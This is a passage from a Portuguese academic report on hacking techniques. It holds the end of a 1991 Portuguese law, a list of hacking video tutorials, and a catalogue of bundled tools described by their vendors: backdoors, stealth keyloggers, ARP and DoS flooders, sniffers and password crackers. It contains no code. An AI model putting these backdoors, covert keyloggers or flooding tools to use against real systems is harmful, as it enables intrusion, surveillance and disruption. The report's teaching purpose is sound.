fixação de edital por período não inferior a 30 dias, no próprio estabelecimento ou no

local do exercício da actividade, por forma bem visível pelo público.

2 - Em casos particularmente graves, nomeadamente quando a infracção importe lesão

de interesses não circunscritos a determinada área do território, o tribunal poderá

ordenar, também a expensas do condenado, que a publicidade da decisão seja feita no

Diário da República ou através de qualquer meio de comunicação social.

3 - A publicidade da decisão condenatória é feita por extracto, do qual constem os

elementos da infracção e as sanções aplicáveis, bem como a identificação dos agentes.

CAPÍTULO IV

Disposições finais

Artigo 18º

Processo de liquidação

Page 202: relatorio de projecto-Documentação teórica das técnicas de hacking

202

1 - Transitada em julgado a decisão que aplicar a pena de dissolução, o Ministério

Público requer a liquidação do património, observando-se, com as necessárias

adaptações, o processo previsto na lei para a liquidação de patrimónios.

2 - O processo de liquidação corre no tribunal da condenação e por apenso ao processo

principal.

3 - Os liquidatários são sempre nomeados pelo juiz.

4 - O Ministério Público requer as providências cautelares que se mostrem necessárias

para garantir a liquidação.

Artigo 19º

Entrada em vigor

O presente diploma entra em vigor no prazo de 120 dias a contar da sua publicação.

Aprovada em 11 de Junho de 1991

Page 203: relatorio de projecto-Documentação teórica das técnicas de hacking

203

F. Vídeos em anexo

Vídeos sobre buffer overflow:

1. Apresentação sobre buffer overflow e o uso da ferramenta ollydbg na

conferencia “20th Chaos Communication Congress”

2. Apresentação sobre buffer overflow dada na conferencia “The 22nd Chaos

Communication Congress (22C3)”

3. tutorial sobre buffer overflow feito por “IDSpinner”

Estes vídeos encontram-se dentro da pasta “Buffer overflow” que se encontra dentro da

pasta “vídeos”.

Da página “www.milw0rm.com” foram retirados os seguintes vídeos:

1. Demonstration of Exploitation of Hotmail XSS

2. Cross Site Scripting HQ 0 Day

3. Windows Server Rooting (Remote Desktop Connection)

4. 0-DAY Simple SQL Injection

5. Intruders D-Link Wireless Access Point Configuration Disclosure

6. vBulletin XSS Demonstration with Session Hijacking

7. CRLF (Carriage Return and Line Feed) Injection Demonstration

8. PHP Remote File Inclusion / Windows Backdoor

9. Heap Overflow Basics (Spanish)

10. (WBB Portal) Cross-Site Scripting Using Unsanitized jpg File

11. Multiple Websites Embedded SWF File Vulnerability Demonstration

12. Simple ASP Administrator SQL Injection by (ruiner_zer0)

13. JPortal CMS SQL Injection Exploit in Action by (ruiner_zer0)

14. phpBB Session Handling Authentication Bypass Demonstration

15. JSP 1 or 1 SQL Injection Demonstration by (ruiner_zer0)

16. Demonstration of Blind MySQL Injection (bsqlbf)

17. Demonstration of Blind MySQL Injection (mysql_bftools)

18. KF Hacking up Bluetooth with his WIDCOMM Code

19. Tunneling Exploits Through SSH (whoppix)

20. Cracking WEP in 10 Minutes (kismac)

Page 204: relatorio de projecto-Documentação teórica das técnicas de hacking

204

21. Muts Showing WMF 0day in Action (metasploit)

22. Reverse Engineering with LD_PRELOAD

23. Qnix Demonstrating Exploration of Simple Buffer Overflows

24. Cracking WEP in 10 Minutes (whoppix)

Estes vídeos encontram-se dentro da pasta “milw0rm” que se encontra dentro da pasta

“vídeos”.

Da página “www.egocrew.de” foram retirados os seguintes vídeos:

1. client Side atack - MS05-016

2. Hacking netBios

3. How to sniffer

4. JPEG Exploit

5. Men-in-the-middle

Estes vídeos encontram-se dentro da pasta “egocrew” que se encontra dentro da pasta

“vídeos”.

Da página “http://www.irongeek.com” foram retirados os seguintes vídeos:

1. Start a session and get interactive commandline access to a remote Windows

box.avi

2. Install VNC Remotely.avi

3. Cain to ARP poison and sniff passwords.avi

4. Use Brutus to crack a box running telnet.avi

5. Boot from Phlak and run Chkrootkit to detect a compromise system.swf

6. Using NetworkActiv to sniff webpages on a Wi-Fi network.swf

7. Recover deleted cookies or other files using Restoration.swf

8. Look for deleted data on the slack space of a disk.swf

9. Basic Tools for Wardriving.swf

10. Cracking Syskey and the SAM on Windows Using Samdump2 and John.swf

11. Basic Nmap Usage.swf

12. Local Password Cracking Presentation for Indiana Higher Education

Cybersecurity Summit 2005.swf

13. A Quick and Dirty Intro to Nessus.swf

14. Sniffing VoIP Using Cain.swf

15. MAC Bridging with Windows XP and Sniffing.swf

Page 205: relatorio de projecto-Documentação teórica das técnicas de hacking

205

16. Fun with Ettercap FiltersThe Movie (Airpwn like stuff).swf

17. Droop's Box Simple Pen-test Using Nmap, Nikto, Bugtraq, Nslookup and Other

Tools.swf

18. WiGLE, JiGLE and Google Earth Mapping out your wardrive.swf

19. Finding Rogue SMB File Shares On Your Network.swf

20. Nmap Video Tutorial 2 Port Scan Boogaloo.swf

21. Metasploit Flash Tutorial.swf

22. Firewalls with Sarah.avi

23. Using VirtualDub and a cheap webcam as a camcorder.avi

24. WMF File Code Execution Vulnerability With Metasploit.swf

25. SSH Dynamic Port Forwarding.swf

26. Using VMware Player to run Live CDs (Bootable ISOs).swf

27. Make your own VMs with hard drive for free- VMware Player + VMX

Builder.swf

28. Anonym.OS LiveCD with build in Tor Onion routing and Privoxy.swf

29. Adding Modules to a Slax or Backtrack Live CD from Windows.swf

30. Cracking Windows Passwords with BackTrack and the Online Rainbow Tables

at Plain-Text.info.swf

31. Irongeek's Guide to Buying a Used Laptop.avi

32. Network Printer Hacking Irongeek's Presentation at Notacon 2006.avi

33. Intro To Bluesnarfing By Williamc and Twinvega.swf

34. Intro To DD and Autopsy By Williamc and Twinvega.swf

35. Intro To TrueCrypt.swf

36. Using TrueCrypt With NTFS Alternate Data Streams.swf

37. Setting Firefox's User Agent To Googlebot.swf

38. Cracking MD5 Password Hashes .swf

39. Cracking MD5 Password Hashes .swf

40. Passive OS Fingerprinting With P0f And Ettercap.swf

41. Hosts File and Ad Blocking.swf

Estes vídeos encontram-se dentro da pasta “irongeek” que se encontra dentro da pasta

“vídeos”.

Da página “http://www.irongeek.com/i.php?page=security/vids-by-others” foram

retirados os seguintes vídeos:

Page 206: relatorio de projecto-Documentação teórica das técnicas de hacking

206

1. 128 Bit Wep Cracking With Injection!

2. Airplay replay attack - no wireless client required

3. BackTrack LiveCD to HD Installation Instruction Video

4. Bluesnarfer attack tool demonstration

5. Bluesnarfing a Nokia 6310i hand set

6. Complete Hacking Video using Metasploit - Meterpreter

7. Cracking a 128 bit WEP key (Auditor)

8. Cracking a 128 Bit Wep key + entering the cridentials

9. Cracking WPA Networks (Auditor)

10. DoS attack against Windows FTP Server - DoS

11. Exploiting some bugs of tools used in Windows

12. Exploiting weaknesses of PPTP VPN (Auditor)

13. How to decrypt SSL encrypted traffic using a man in the middle attack (Auditor)

14. John The Ripper 1.7 password cracker Installation Instruction Video

15. MITM Hijacking

16. Sniffing logins and passwords

17. Snort Instruction video - howto install into backtrack

18. Telnet Bruteforce

19. Tunneling Exploits through SSH

20. WEP Cracking using Aireplay v2.2 Beta 7 (Whax 3.0)

21. WPA Cracking using Aireplay v2.2 Beta 7 (Whax 3.0)

Estes vídeos encontram-se dentro da pasta “crimeMachine” que se encontra dentro da

pasta “vídeos”. A pagina oficial dos vídeos encontra-se offline e é

“http://www.crimemachine.com”.

Page 207: relatorio de projecto-Documentação teórica das técnicas de hacking

207

G. Ferramentas em anexo

Em seguida é apresentada a estrutura com que as instalações das aplicações foram

guardadas. As instalações das aplicações encontram-se dentro da pasta “Ferramentas”,

que se encontra na raiz do DVD e dentro da pasta ferramenta as instalações encontram-

se organizadas da seguinte forma:

1 Backdoor:

11..11 cd00r.c, is a working proof-of-concept code for a not listening remote shell

on UN*X systems.

11..22 SAdoor, a non listening remote shell and execution server the

implementation of SAdoor was influed by FX's cd00r.

2 Bluetooth :

22..11 Blooover is a tool that is intended to serve as an audit tool that people can

use to check whether their phones and phones of friends and employees have

security flaws.

22..22 Redfang, is a tool that brute-forces Bluetooth BD addresses in order to

communicate with devices in non-discoverable mode.

22..33 BlueScanner, is a Bluetooth discovery tool for Windows that uses

Microsoft's Bluetooth stack.

3 Criptografia e estenografia:

33..11 Steganography, Steganography enables you to hide and encrypt files within

other files (carriers) such as picture or sound files.

4 dns spoofing:

44..11 WinDNSSpoof, This tool is a simple DNS ID Spoofer for Windows 9x/2K.

5 exploit's:

55..11 Metasploit 3.0, This is the Metasploit Project. The goal is to provide useful

information to people who perform penetration testing, IDS signature

development, and exploit research.

55..22 SecurityForest, The ExploitTree is a categorized collection of ALL

available exploit code.

6 footprinting and scanning:

Page 208: relatorio de projecto-Documentação teórica das técnicas de hacking

208

66..11 IRS, Many servers and network devices like routers and switches provides

features like ACLs, IP Filters, Firewall rules and so on to give access to their

Services only to particular network addresses (usually Administrator's

workstations).The main purpose of this program is to scan for IP restrictions set

for a particular service on a host.

66..22 Creddump, Credential Manager is a new SSO solution that Microsoft offers

in Windows Server 2003 and Windows XP to provide a secured store for

credential information. This program dumps that information to you.

66..33 p0f, performs passive OS detection by watching SYN packets with tcpdump.

66..44 Winfingerprint, is a Win32 Host/Network Enumeration Scanner.

66..55 NetBrute Scanner 1.0.0.7, Conjunto de três ferramentas para detectar

vulnerabilidades em redes. O NetBrute varre a rede em busca de pastas e

impressoras compartilhadas. O PortScan detecta portas TCP abertas nos

computadores. Já o WebBrute tenta quebrar as senhas de autenticação de um site

da web, usando o método força bruta. Assim, o administrador pode identificar e

corrigir as eventuais senhas fracas.

66..66 LanSpy v2.0, Get all the info you need to know about a remote computer or

your local area network.

66..77 SuperScan v4.0, A newer version of the famous scanner. Includes UDP

scanner and vulnerabilities scanner.

66..88 Neotrace PRO v3.25, Neo trace is a great tracer, it shows you the world

map and the countries/citys the data goes through tracing the target.

66..99 Net Scan Tools v4.2, Professional IP scanning tool used by ISPs and other

companies.

66..1100 ProPort v2.2, Use this program to see what open ports you have localy, like

an advanced netstat, or a firewall, it also monitors some ports and allows to

terminate any connection.

66..1111 Sam Spade, SamSpade provides a consistent GUI and implementation for

many handy network query tasks. It was designed with tracking down spammers

in mind, but can be useful for many other network exploration, administration,

and security tasks. It includes tools such as ping, nslookup, whois, dig, traceroute,

finger, raw HTTP web browser, DNS zone transfer, SMTP relay check, website

search, and more. Non-Windows users can enjoy online versions of many of their

tools.

Page 209: relatorio de projecto-Documentação teórica das técnicas de hacking

209

66..1122 SolarWinds, The SolarWinds Network Management Toolset contains

applications ranging from Configuration Management, Bandwidth and Network

Performance Monitoring to Discovery and Fault Management

66..1133 Microsoft Baseline Security Analyze, Microsoft Baseline Security Analyzer

(MBSA) is an easy-to-use tool designed for the IT professional that helps small-

and medium-sized businesses determine their security state in accordance with

Microsoft security recommendations and offers specific remediation guidance.

66..1144 Belarc Advisor, The Belarc Advisor builds a detailed profile of your

installed software and hardware, missing Microsoft hotfixes, anti-virus status, CIS

(Center for Internet Security) benchmarks, and displays the results in your Web

browser.

66..1155 Look@LAN, Network Monitor, a free solution for both personal and

commercial use, is an advanced network monitor, which allows you to monitor

your network in few clicks.

66..1166 Medas VNS, is a SNMP-based powerful network management software.

With Medas VNS you can control as many nodes as you want; a node is a device

that supports SNMP: computer, router, HUB, switch, firewall, NAT, printer, etc

etc. Medas VNS gives you detailed visual network statistics about any node that

supports SNMP, and even of the computer on wich you have installed the

software, without having to install SNMP on it.

66..1177 WUPS - Windows UDP Port Scanner, An UDP port scanner for Windows.

All port scanners for Windows only scanned TCP ports before I wrote this one.

66..1188 Wikto, it tries to find interesting directories and files on the web site, it looks

for sample scripts that can be abused or finds known vulnerabilities in the web

server implementation itself.

7 Foundstone:

77..11 Assessment Utilities:

7.1.1 FSCrack - GUI for John the Ripper

7.1.2 CredDigger, Foundstone CredDigger™ is a tool that attempts to gather

data to assist with penetration testing on a corporate network by

determining every host on which a given set of user credentials is valid,

while also building a database of all user ID’s through various means and

protocols.

Page 210: relatorio de projecto-Documentação teórica das técnicas de hacking

210

7.1.3 Fpipe, FPipe is a source port forwarder/redirector. It can create a TCP or

UDP stream with a source port of your choice. This is useful for getting past

firewalls that allow traffic with source ports of say 23, to connect with

internal servers.

77..22 Forensic Tools

7.2.1 DumpAutoComplete, This application will search for the default Firefox

profile of the user who runs the tool and dump the AutoComplete cache in

XML format to standard output.

7.2.2 Pasco, An Internet Explorer activity forensic analysis tool.

7.2.3 Galleta, A Internet Explorer Cookie Forensic Analysis Tool.

7.2.4 Rifiuti, A Recycle Bin Forensic Analysis Tool.

7.2.5 NTLast™ , Security audit tool for Windows NT.

7.2.6 Forensic Toolkit™, Tools to help examine NTFS for unauthorized activity.

7.2.7 ShoWin™, Show information about Windows. Reveal passwords etc.

7.2.8 PatchIt™, A binary file byte-patching program.

7.2.9 Vision™, Reports all open TCP and UDP ports and maps them to the

owning process or application.

77..33 Foundstone SASS Tools:

7.3.1 Hacme Casino™, Foundstone Hacme Casino™ is a learning platform for

secure software development and is targeted at software developers,

application penetration testers, software architects, and anyone with an

interest in application security. This extensible online casino platform is

written using Ruby on Rails and demonstrates the security problems that can

potentially arise in these applications.

7.3.2 CodeScout™, Foundstone CodeScout™ is a free tool developed by

Foundstone to help application developers and code reviewers validate

adherence to coding best practices and determine the complexity and scope

of a code base. The tool is a plugin that comes with a set of default rules as

well as functionality allowing power users to define their own rules. This

tool helps users automate part of the code review process by identifying

potential hot-spots in the code base and provides useful metrics about to size

and scope of the source code of a project.

7.3.3 HackPack™, Foundstone HackPack™ is a tool designed to aid security

professionals in keeping up with changes and updates to security software.

Page 211: relatorio de projecto-Documentação teórica das técnicas de hacking

211

The tool offers a simple interface to a large variety of security tools. Much

like an RSS reader for web page updates, HackPack shows a user a list of all

the tools they want to track, along with current versions and links to

download locations. This allows users to stay on top of which tools are being

updated as well as monitor any current news and information on the tools

the user is interested in. Keeping users up to date on new releases means

new features can be tested and put to use more quickly allowing for users of

HackPack to stay on top of security tools landscape.

7.3.4 Hacme Shipping™, Foundstone Hacme Shipping™ is a web-based

shipping application developed by Foundstone to demonstrate common web

application hacking techniques such as SQL Injection, Cross Site Scripting

and Escalation of Privileges as well as Authentication and Authorization

flaws and how they are manifested in the code. Written in ColdFusion MX 7

using the Model-Glue framework and a MySQL database, the application

emulates the on-line services provided by major shipping companies.

7.3.5 Hacme Travel™, Foundstone Hacme Travel™ is designed to teach

application developers, programmers, architects, and security professionals

how to create secure software. Hacme Travel simulates a real-world travel

reservation system, which was built with a number of known and common

vulnerabilities such as SQL injection and buffer overflows. This allows users

to attempt real exploits against a client-server type of application written in

C++.

7.3.6 Hacme Books™, Foundstone Hacme Books™ is a learning platform for

secure software development and is targeted at software developers,

application penetration testers, software architects, and anyone with an

interest in application security. As a full-featured J2EE application, Hacme

Books is representative of real-world J2EE scenarios and demonstrates the

security problems that can potentially arise in these applications.

This training tool is used extensively as part of Foundstone’s Writing Secure

Code - Java (J2EE) class. Click here for information about this class.

7.3.7 Hacme Bank™, Hacme Bank™ is designed to teach application

developers, programmers, architects and security professionals how to

create secure software. Hacme Bank simulates a "real-world" web services-

enabled online banking application, which was built with a number of known

Page 212: relatorio de projecto-Documentação teórica das técnicas de hacking

212

and common vulnerabilities. This allows users to attempt real exploits

against a web application and thus learn the specifics of the issue and how

best to fix it. The web services exposed by Hacme Bank are used by our

other testing applications including Hacme Books and Hacme Travel.

7.3.8 SiteScope, Foundstone’s SiteScope creates a site map and gathers metrics

for a given web-based application. The method SiteScope utilizes to gather

data and create site maps differentiates it from alternative tools that "spider"

a web application.

7.3.9 .NET Security Toolkit, The Foundstone SASS (Software Application

Security Services) .NET Security Toolkit is designed to help application

developers and architects to build secure and reliable .NET software

applications. The new toolkit is comprised of the Validator.NET, .NETMon

and SecureUML template tools which help developers validate, debug and

analyze vulnerabilities during the design and development of .NET

applications.

7.3.10 .NETMon™, The .NETMon tool monitors the .NET common language

runtime enabling developers to conduct detailed analysis of how the .NET

framework enforces security controls, including setting custom profiling

filters and logging of specific events.

7.3.11 Validator.NET™, Validator.NET enables developers to

programmatically determine user input locations that could be potentially

exploited by hackers and provides proactive steps to build data validation

routines which are loaded into a protection module. The tool helps eliminate

common vulnerabilities such as SQL Injection and Cross-Site Scripting.

7.3.12 SecureUML Template, The SecureUML Visio template defines a

custom Unified Modeling Language (UML) dialect to help system architects

build roles based access control systems (RBAC).

7.3.13 WSDigger™, WSDigger is a free open source tool designed by

Foundstone to automate black-box web services security testing (also known

as penetration testing). WSDigger is more than a tool, it is a web services

testing framework.

7.3.14 CookieDigger™, CookieDigger helps identify weak cookie generation

and insecure implementations of session management by web applications.

Page 213: relatorio de projecto-Documentação teórica das técnicas de hacking

213

The tool works by collecting and analyzing cookies issued by a web

application for multiple users.

7.3.15 SSLDigger™, SSLDigger v1.02 is a tool to assess the strength of SSL

servers by testing the ciphers supported. Some of these ciphers are known to

be insecure.

7.3.16 SiteDigger™, SiteDigger 2.0 searches Google’s cache to look for

vulnerabilities, errors, configuration issues, proprietary information, and

interesting security nuggets on web sites.

77..44 Intrusion Detection Tools:

7.4.1 IPv4Trace, A Win32 C++ programming library port of the OpenBSD 2.8

kernel-land IPv4 fragment reassembly implementation.

7.4.2 Carbonite™, A Linux Kernel Module to aid in RootKit detection.

7.4.3 FileWatch™, A file change monitor. Used with BlackICE Defender.

7.4.4 Attacker™, A TCP/UDP port listener.

7.4.5 Fport™, Identify unknown open ports and their associated applications

77..55 Scanning Tools:

7.5.1 SuperScan™, Powerful TCP port scanner, pinger, resolver.

7.5.2 MS05-051 Scan, Vulnerabilities in MSDTC and COM+ Could Allow

Remote Code Execution

7.5.3 MS05-039 Scan, Microsoft UPnP MS05-039 Vulnerability Detection

Utility

7.5.4 NetSchedScan, Remote Task Scheduler scanner

7.5.5 DSScan, LSASS scanner

7.5.6 MydoomScanner, Mydoom worm scanner

7.5.7 MessengerScan, Microsoft MessengerScan Vulnerability Detection Utility

with Advanced Immediate Protection Capability!

7.5.8 SQLScan, SQL "Slammer" worm scanner

7.5.9 BOPing™, A scanner for the infamous Back Orifice program.

7.5.10 ScanLine™, Command line port scanner.

7.5.11 Trout™, Traceroute and Whois program.

7.5.12 DDosPing™, A network admin utility for remotely detecting the most

common DDoS programs.

7.5.13 SNScan™, SNMP Detection Utility

Page 214: relatorio de projecto-Documentação teórica das técnicas de hacking

214

7.5.14 CIScan, Cisco IOS IPv4 Remote Denial of Service Vulnerability

Detection Utility

7.5.15 RPCScan, Microsoft RPC(MS03-026) and RPCSS(MS03-039)

Vulnerability Detection Utility

77..66 Stress Testing Tools:

7.6.1 FSMax™, A scriptable, server stress testing tool.

7.6.2 Blast™, A small, quick TCP service stress test tool.

7.6.3 UDPFlood™, UDP packet sender utility.

8 IDS:

88..11 Snort, Snort® is an open source network intrusion prevention and detection

system utilizing a rule-driven language, which combines the benefits of signature,

protocol and anomaly based inspection methods. With millions of downloads to

date, Snort is the most widely deployed intrusion detection and prevention

technology worldwide and has become the de facto standard for the industry.

9 Keylogger:

99..11 Best Free Keylogger (BFK), BFK is a free keylogger software with features

that is similar to most popular keyloggers on the net like ghost keylogger but it is

free

99..22 Spytector, is the ultimate invisible and undetectable keylogger (spy) software

that completely satisfies your PC monitoring and surveillance needs. Spytector

server is running in total stealth, undetectable even for advanced users, perfect

for monitoring the way your PC is used.

99..33 Elite Keylogger Editor v1.0, edit your keylogger to email you the key

strokes, the keylogger will inject in IE and will run invisible bypassing firewalls

and giving the logs in HTML format Preview Here

10 Live CD’s:

1100..11 Auditor: http://www.remote-exploit.org/index.php/Auditor_main

The Auditor security collection is a Live-System based on KNOPPIX. With no

installation whatsoever, the analysis platform is started directly from the CD-Rom

and is fully accessible within minutes. Independent of the hardware in use, the

Auditor security collection offers a standardised working environment, so that the

build-up of know-how and remote support is made easier. Even during the

planning and development stages, our target was to achieve an excellent user-

friendliness combined with an optimal toolset. Professional open-source

Page 215: relatorio de projecto-Documentação teórica das técnicas de hacking

215

programs offer you a complete toolset to analyse your safety, byte for byte. In

order to become quickly proficient within the Auditor security collection, the

menu structure is supported by recognised phases of a security check. (Foot-

printing, analysis, scanning, wireless, brute-forcing, cracking). By this means, you

instinctively find the right tool for the appropriate task. In addition to the approx.

300 tools, the Auditor security collection contains further background information

regarding the standard configuration and passwords, as well as word lists from

many different areas and languages with approx. 64 million entries. Current

productivity tools such as web browser, editors and graphic tools allow you to

create or edit texts and pictures for reports, directly within the Auditor security

platform. Many tools were adapted, newly developed or converted from other

system platforms, in order to make as many current auditing tools available as

possible on one CD-ROM. Tools like Wellenreiter and Kismet were equipped with

an automatic hardware identification, thus avoiding irritating and annoying

configuration of the wireless cards.

1100..22 WHAX: http://distrowatch.com/table.php?distribution=whoppix

Whoppix is a stand-alone penetration-testing live CD based on KNOPPIX. With

the latest tools and exploits, it is a must for every penetration tester and security

auditor. Whoppix includes several exploit archives, such as Securityfocus,

Packetstorm, SecurityForest and Milw0rm, as well as a wide variety of updated

security tools. The new custom kernel also allows for better WIFI support.

Starting with version 3.0, Whoppix was renamed to WHAX and its base changed

from KNOPPIX to the more modular SLAX live CD.

11 Network attacking tool:

1111..11 WinArpAttacker: http://unshadow.spain.com/

is a program that can scan and attack computers on local area network.

WinArpAttacker has the following features:

-. It can pull and collect all the packets on the LAN.

-. It can scan and show the active hosts on the LAN within a very short time (~1-2

seconds).

-. It can perform six attacking actions as following:

(1) Arp Flood - Send ip conflict packets to target computers as fast as possible, if

you send too much, the target computers will down. :-(

Page 216: relatorio de projecto-Documentação teórica das técnicas de hacking

216

(2) BanGateway - Tell the gateway a wrong mac address of target computers, so

the targets can't receive packet from the internet. This attack is to forbid the

targets access the internet.

(3) IPConflict - Like Arp Flood, send ip conflict packets to target computers

regularly, maybe the users can't work because of regular ip conflict message.

what's more, the targets can't access the lan.

(4) SniffGateway - Spoof the targets and the gateway, you can use sniffer to

collect packets between them.

(5) SniffLan - Spoof among the targets, you can use sniffer to collect packets

among all of them. (dangerous!!)

(6) AntiSniff - Scan the lan for sniffing computers, so you can find who is sniffing.

-. While spoofing ARP tables, it can act as another gateway (or ip-forwarder)

without other users' recognition on the LAN.

-. It can collect and forward packets through the system's ipforward function.

-. As your wish, an ARP table is recovered automatically in a little time (about 5

seconds). Your also can select not to recover.

-. Support multi-network adapter and multi-ip address and multi-gateway on a

computer, you can select different adapter and ip address to scan different lan.

-. It can save and load computer lists on a lan.

1111..22 Battle Pong - Technophoria: http://www.library.2ya.com/

Choose the ping size and the speed to flood.

1111..33 Assault v1.0: http://www.library.2ya.com/

An old ICMP and UDP flooder.

1111..44 RPCNuke v1.0: http://www.library.2ya.com/

Based on RPC DoS exploit, it works with Win2k/XP with the vulnerability on port

135, you have the option of IP range nuke

1111..55 EtherFlood: http://ntsecurity.nu/toolbox/etherflood/

EtherFlood floods a switched network with Ethernet frames with random

hardware addresses. The effect on some switches is that they start sending all

traffic out on all ports so you can sniff all traffic on the network.

1111..66 DDoSPing: http://www.foundstone.com/rdlabs/tools.html

DDoSPing is a remote scanner for the most common Distributed Denial of

Service programs (often called Zombies by the press). These were the programs

responsible for the recent rash of attacks on high profile web sites. This tool will

Page 217: relatorio de projecto-Documentação teórica das técnicas de hacking

217

detect Trinoo, Stacheldraht and Tribe Flood Network programs running with

their default settings, although setup of each program type is possible from the

configuration screen. Scanning is performed by sending the appropriate UDP and

ICMP messages at a controlable rate to a user defined range of addresses.

Feedback appreciated.

1111..77 stacheldrahtV4 - DoS tool

12 Network sniffing:

1122..11 Ethereal: http://www.ethereal.com/

Ethereal® is used by network professionals around the world for troubleshooting,

analysis, software and protocol development, and education. It has all of the

standard features you would expect in a protocol analyzer, and several features

not seen in any other product. Its open source license allows talented experts in

the networking community to add enhancements. It runs on all popular computing

platforms, including Unix, Linux, and Windows.

1122..22 Wireshark: http://www.wireshark.org/

network protocol analyzer. It runs on Windows, Linux, UNIX, and other

platforms.

1122..33 WinPcap:http://www.winpcap.org/

is the industry-standard tool for link-layer network access in Windows

environments: it allows applications to capture and transmit network packets

bypassing the protocol stack, and has additional useful features, including kernel-

level packet filtering, a network statistics engine and support for remote packet

capture.

WinPcap consists of a driver, that extends the operating system to provide low-

level network access, and a library that is used to easily access the low-level

network layers. This library also contains the Windows version of the well known

libpcap Unix API.

Thanks to its set of features, WinPcap is the packet capture and filtering engine of

many open source and commercial network tools, including protocol analyzers,

network monitors, network intrusion detection systems, sniffers, traffic generators

and network testers. Some of these tools, like Wireshark, Nmap, Snort, ntop are

known and used throughout the networking community.

1122..44 WinDump: http://www.winpcap.org/

Page 218: relatorio de projecto-Documentação teórica das técnicas de hacking

218

the Windows version of the popular tcpdump tool. WinDump can be used to

watch, diagnose and save to disk network traffic according to various complex

rules.

1122..55 TCPDUMP: http://www.tcpdump.org/

can be used to watch, diagnose and save to disk network traffic according to

various complex rules.

1122..66 Nmap: http://insecure.org/nmap/

Nmap ("Network Mapper") is a free open source utility for network exploration or

security auditing. It was designed to rapidly scan large networks, although it

works fine against single hosts. Nmap uses raw IP packets in novel ways to

determine what hosts are available on the network, what services (application

name and version) those hosts are offering, what operating systems (and OS

versions) they are running, what type of packet filters/firewalls are in use, and

dozens of other characteristics. Nmap runs on most types of computers and both

console and graphical versions are available. Nmap is free and open source.

1122..77 Colasoft Capsa 6.1: http://www.colasoft.com

Expert Packets Sniffer and Protocol Analyzer

Colasoft Capsa is an expert network packet sniffer designed for analyzing and

diagnosing network traffic flowing through local network, helping network

administrators to detect and troubleshoot network problems. With the abilities of

real time packet capture, accurate protocol analysis, automatic network events

diagnosis, combined powerful filters and statistic information of global network,

Colasoft Capsa let you quickly and efficiently fix the network troubles.

1122..88 Nessus: http://www.nessus.org/ - Network Vulnerability scanner

1122..99 DSniff: http://monkey.org/~dugsong/dsniff/

This is the king of the hill of all sniffers. Dsniff is very well developed by Doug

Song and is mature in its development. This suite of programs sport functionality

for general sniffing, arp spoofing, dns spoofing, switch sniffing, and a plethora of

other unique and amusing capabilities.

1122..1100 PHoss: http://www.phenoelit.de/fr/tools.html

is a sniffer designed to find HTTP, FTP, LDAP, Telnet, IMAP4 and POP3 logins

on the wire. It also sniffs the VNC challange/response handshake.

Hard to find and has great effect !

1122..1111 SwitchSniffer: http://www.snapfiles.com/download/dlswitchsniffer.html

Page 219: relatorio de projecto-Documentação teórica das técnicas de hacking

219

is a program that can scan your switched LAN for up hosts and can reroute and

collect all packets without the target users' recognition. It can also detect the

‘arpspoofer’ program running on the network and block user definable sessions

like firewall. If you use this program in tandem with any sniffer program, you can

capture and see the users’ IDs and passwords on a switched network.

That is, SwitchSniffer enables you to monitor all the packets and all the hosts on a

switch network.

1122..1122 rumint v2.04: http://www.rumint.com/

Rumint is a network and security visualization tool. It allows you to load packet

capture files as well as perform live packet capture and visualize the results using

a variety of visualization techniques. You can then filter the dataset and play back

the data using a PVR interface. Requires the winpcap library. Version 1.92 adds

the ability to directly load PCAP files.

1122..1133 Packetyzer: http://www.networkchemistry.com

provides a Windows user interface for the well known Ethereal packet capture

and dissection library. Ethereal is used by network professionals around the

world for troubleshooting, analysis, software and protocol development, and

education. It has all of the standard features expected in a protocol analyzer, and

several features not otherwise available. Network Chemistry has taken advantage

of its open source license to add a Windows front end to extend its use.

1122..1144 Ettercap: http://ettercap.sourceforge.net/download.php

is a suite for man in the middle attacks on LAN. It features sniffing of live

connections, content filtering on the fly and many other interesting tricks.

It supports active and passive dissection of many protocols (even ciphered ones)

and includes many feature for network and host analysis.

13 password's:

1133..11 Cain&Abel: http://www.oxid.it

is a password recovery tool for Microsoft Operating Systems. It allows easy

recovery of various kind of passwords by sniffing the network, cracking encrypted

passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording

VoIP conversations, decoding scrambled passwords, revealing password boxes

and analyzing routing protocols.

1133..22 SID&User: http://www.lcpsoft.com

Page 220: relatorio de projecto-Documentação teórica das técnicas de hacking

220

program is SID and user names getting tool for Windows NT/2000/XP/2003.

General features of this product:

SID getting for a given account name;

Getting of an account name for single SID or account names for SID range.

1133..33 LCP: http://www.lcpsoft.com

Main purpose of LCP program is user account passwords auditing and recovery

in Windows NT/2000/XP/2003.

1133..44 Ophcrack 2: http://ophcrack.sourceforge.net/

A Windows password cracker based on the faster time-memory trade-off using

rainbow tables. This is an evolution of the original Ophcrack 1.0 developed at

EPFL. Ophrack 2.3 comes with a GTK+ Graphical User Interface and runs on

Windows, Mac OS X (Intel CPU) as well as on Linux.

1133..55 john-1.7.2.tar.gz : http://www.openwall.com/john/

john the Ripper is a fast password cracker, currently available for many flavors of

Unix (11 are officially supported, not counting different architectures), DOS,

Win32, and BeOS. Its primary purpose is to detect weak Unix passwords, but a

number of other hash types are supported as well.

1133..66 pwdump2:

http://www.bindview.com/Services/razor/Utilities/Windows/pwdump2_readme.cf

m

This is an application which dumps the password hashes (OWFs) from NT's SAM

database, whether or not SYSKEY is enabled on the system. NT Administrators

can now enjoy the additional protection of SYSKEY, while still being able to check

for weak users' passwords. The output follows the same format as the original

pwdump (by Jeremy Allison), and can be used as input to l0phtcrack, or used with

Samba. You need the SeDebugPrivilege for it to work. By default, only

Administrators have this right, so this program does not compromise NT security.

1133..77 PWHacker: http://cd.textfiles.com/windows-6pak/disk6/Password-

Utilities.html

Ever forgot the password you entered months ago for your Internet account?

PWHacker will retrieve it for you. It reads the so-called masked edit boxes used in

Windows 95 to hide passwords (the familiar ********). PWHacker will not crack

passwords; it only works for passwords you have already (in the distant past)

entered.

Page 221: relatorio de projecto-Documentação teórica das técnicas de hacking

221

1133..88 Proactive Password Recovery: http://www.elcomsoft.com/pspr.html

It includes the installation for program to recover password's from:

System, archives (ZIP/RAR/ACE/ARJ), Microsoft Office (Word, Excel, Access,

Outlook etc), Outlook Express, Internet Explorer, Lotus SmartSuite (WordPro, 1-

2-3, Approach, Organizer), Corel WordPerfect Office (WordPerfect, Paradox,

QuattroPro), Adobe Acrobat PDF, Windows 2000/XP NTFS (EFS), Windows

NT/2000/XP user passwords)

1133..99 Recover Password's toolkit's - Conjunto de aplicações para recuperar

passwords de todo o tipo de software

1133..1100 @stake LC 4

version of L0phtCrack gets cracking on password security.

